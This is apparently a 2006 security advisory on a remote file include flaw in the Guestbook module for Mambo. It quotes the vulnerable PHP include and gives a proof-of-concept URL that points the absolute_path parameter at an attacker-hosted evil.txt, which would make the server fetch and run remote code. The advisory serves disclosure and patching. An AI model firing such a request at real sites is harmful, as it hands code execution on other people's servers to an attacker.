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Guestbook Mambo Module <== v1.3.0 Multiple Remote File Include Vulnerabilities

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Author          : Matdhule

Date            : July 27th 2006

Location        : Indonesia, Jakarta

Critical Lvl    : Highly critical

Impact          : System access

Where           : From Remote

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Affected software description:

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Guestbook Module for Mambo


Application     : Guestbook Module

version         : 1.3.0


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Vulnerability:

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in folder components we found vulnerability script com_guestbook.php.


-----------------------com_guestbook.php----------------------

<?php


include($absolute_path.'/language/'.$lang.'/lang_com_guestbook.php');


    require ("".$sGuestbookTemplate_."/com_guestbook.php");

    $guestbook = new guestbook();


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Variables $absolute_path are not properly sanitized. When register_globals=on

and allow_fopenurl=on an attacker can exploit this vulnerability with a

simple php injection script.


Proof Of Concept:

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http://[target]/[path]/components/com_guestbook.php?absolute_path=http://attacker.com/evil.txt?


Solution:

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Sanitize variabel $absolute_path in com_guestbook.php



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Shoutz:

~~~~~~

~ solpot a.k.a chris, J4mbi  H4ck3r, thx for the hacking lesson :)

~ y3dips, the_day, moby, comex, z3r0byt3, c-a-s-e, S`to, lirva32, anonymous

~ bius, lappets, ghoz, t4mbun_hacker, NpR, h4ntu, thama, Blue|Spy

~ [EMAIL PROTECTED], [EMAIL PROTECTED]

~ #n0b0dy (Solpotcrew Comunity) #jambihackerlink #e-c-h-o @irc.dal.net

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Contact:

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     matdhule[at]gmail[dot]com

     

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